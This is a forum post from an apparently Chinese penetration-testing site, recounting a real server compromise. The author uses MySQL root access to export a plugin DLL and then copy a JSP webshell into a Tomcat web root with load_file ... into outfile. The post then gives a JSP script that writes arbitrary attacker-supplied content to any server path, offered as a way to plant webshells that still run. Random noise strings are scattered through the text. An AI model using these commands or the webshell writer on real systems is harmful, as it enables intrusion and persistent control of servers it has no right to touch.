中国网络渗透测试联盟
标题:
解决Win下MySQL root导出Webshell换行符问题
[打印本页]
作者:
admin
时间:
2013-3-8 21:52
标题:
解决Win下MySQL root导出Webshell换行符问题
今天碰到了这么个问题,简单记录一下我的解决方案。
# ^ h: n7 {% I B7 Q( Z* k+ M
% K, y( K7 u6 D; r, m
首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
& X# G0 Y; w7 M# A6 R' S
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
) H1 n8 y ~5 T$ W! a* a
提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
2 m1 U3 P9 K5 a
1 show variables like '%plugin%';
1 j# ]( `2 V) t& P
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
' Z4 M* e# l4 ~% y- j1 N
创建自定义函数似乎被拦截,一直失败。
' v: Z8 u+ E1 y& u
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
& e2 R" ]6 ?( R8 R1 m: R0 f
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
2 }0 u4 V) e% c* U5 z+ C& H0 Y
用mysql执行语句:
+ D3 V" U8 ]& u
1 select load_file('d:\\xxx\\fuck.jsp') into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
' J* G) g& a2 d% T
2 复制代码
4 h8 s6 y L6 p% o& k( i1 j x0 k
后成功。
2 C- C O& s1 ~5 q# G
但是访问后得到如下提示:
$ k5 B- C* A; l" o
500页面
+ O; q! h3 N1 ~" Q1 Z( Y" x& Y9 b
! n' j) q- ], g! Q: L! l
' N) a1 [/ q- w c, X& Z" ^
明显是MySQL的Win下版本自动添加转义符\n\r了
9 ?8 H2 y+ W7 N5 |* Y" w& K
这样导致程序运行的悲剧。
6 r, A: A( ~! F3 G* Z( I
从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
5 J1 [3 @4 E# d
最后弄了这么个小脚本:
$ ~6 U# p! \ P0 k0 @2 h
01 <%@ page language="java" pageEncoding="gbk"%>
+ i/ y* ?7 m0 M0 ]. F) K
02 <jsp:directive.page import="java.io.File"/>
4 [; g7 y* x; g9 R
03 <jsp:directive.page import="java.io.OutputStream"/>
1 P' D! ]* L, N
04 <jsp:directive.page import="java.io.FileOutputStream"/>
- W8 S" N* ] ^8 f8 ]2 y7 S
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
g6 p9 ?1 A: a- L9 q+ V5 U
06 error
www.2cto.com
2 b9 [/ c, C8 f+ G8 V& ?6 x. S
07 <%}}if(i==0){%>
& |" ~: R8 D% j! A* |
08 ok
2 K8 R% o1 U4 Z- y/ F
09 <%}%>
8 R( J* e& G2 x, S5 E
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
: f8 q3 I, X6 j: a+ I
就可以避免转义符让JSP的马儿运行500错误了。
5 O; S+ H$ ~% L; }( u8 f% A
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2